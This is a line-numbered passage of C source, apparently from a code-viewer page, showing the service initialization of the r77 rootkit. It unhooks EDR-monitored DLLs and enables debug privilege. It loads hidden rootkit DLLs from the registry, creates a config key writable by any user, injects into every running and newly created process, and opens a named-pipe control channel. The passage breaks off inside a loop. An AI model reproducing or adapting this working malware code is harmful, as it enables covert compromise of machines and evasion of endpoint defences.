| 29 | } |
| 30 | |
| 31 | BOOL InitializeService() |
| 32 | { |
| 33 | // Unhook DLL's that are monitored by EDR. |
| 34 | Unhook(); |
| 35 | |
| 36 | // If the service is already running (e.g. Install.exe was run twice), gracefully terminate it, and continue initialization. |
| 37 | LPVOID existingServiceDetachAddress; |
| 38 | if (GetR77Header(&existingServiceDetachAddress) == R77_SERVICE_SIGNATURE) |
| 39 | { |
| 40 | // The DetachService() function pointer to the already running r77 service is called. |
| 41 | // After this function returns, the previous r77 service is completely unloaded. |
| 42 | |
| 43 | ((VOID(*)())existingServiceDetachAddress)(); |
| 44 | } |
| 45 | |
| 46 | // Write the r77 header. |
| 47 | if (!WriteR77Header(R77_SERVICE_SIGNATURE, DetachService)) return FALSE; |
| 48 | |
| 49 | EnabledDebugPrivilege(); |
| 50 | |
| 51 | // Get both r77 DLL's. |
| 52 | HKEY key; |
| 53 | if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_QUERY_VALUE, &key) != ERROR_SUCCESS || |
| 54 | RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, NULL, &RootkitDll32Size) != ERROR_SUCCESS || |
| 55 | RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, NULL, &RootkitDll64Size) != ERROR_SUCCESS) return FALSE; |
| 56 | |
| 57 | RootkitDll32 = NEW_ARRAY(BYTE, RootkitDll32Size); |
| 58 | RootkitDll64 = NEW_ARRAY(BYTE, RootkitDll64Size); |
| 59 | |
| 60 | if (RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, RootkitDll32, &RootkitDll32Size) != ERROR_SUCCESS || |
| 61 | RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, RootkitDll64, &RootkitDll64Size) != ERROR_SUCCESS) return FALSE; |
| 62 | |
| 63 | RegCloseKey(key); |
| 64 | |
| 65 | // Create HKEY_LOCAL_MACHINE\SOFTWARE\$77config and set DACL to allow full access by any user. |
| 66 | InstallR77Config(); |
| 67 | |
| 68 | // When the NtResumeThread hook is called, the r77 service is notified through a named pipe connection. |
| 69 | // This will trigger the following callback and the child process is injected. |
| 70 | // After it's injected, NtResumeThread is executed in the parent process. |
| 71 | // This way, r77 is injected before the first instruction is run in the child process. |
| 72 | ChildProcessListenerThread = ChildProcessListener(ChildProcessCallback); |
| 73 | |
| 74 | // In addition, check for new processes every 100 ms that might have been missed by child process hooking. |
| 75 | // This is particularly the case for child processes of protected processes (such as services.exe), because protected processes cannot be injected. |
| 76 | // In the first iteration, the callback is invoked for every currently running process, making this the initial injection into all processes. |
| 77 | NewProcessListenerThread = NewProcessListener(NewProcessCallback); |
| 78 | |
| 79 | // Open a named pipe to receive commands from any process. |
| 80 | ControlPipeListenerThread = ControlPipeListener(ControlCallback); |
| 81 | |
| 82 | // There are no implications when injecting a process twice. |
| 83 | // If the R77_SIGNATURE is already present in the target process, the newly injected DLL will just unload itself. |
| 84 | |
| 85 | // Perform startup of custom files. |
| 86 | PR77_CONFIG config = LoadR77Config(); |
| 87 | |
| 88 | for (DWORD i = 0; i < config->StartupFiles->Count; i++) |
no test coverage detected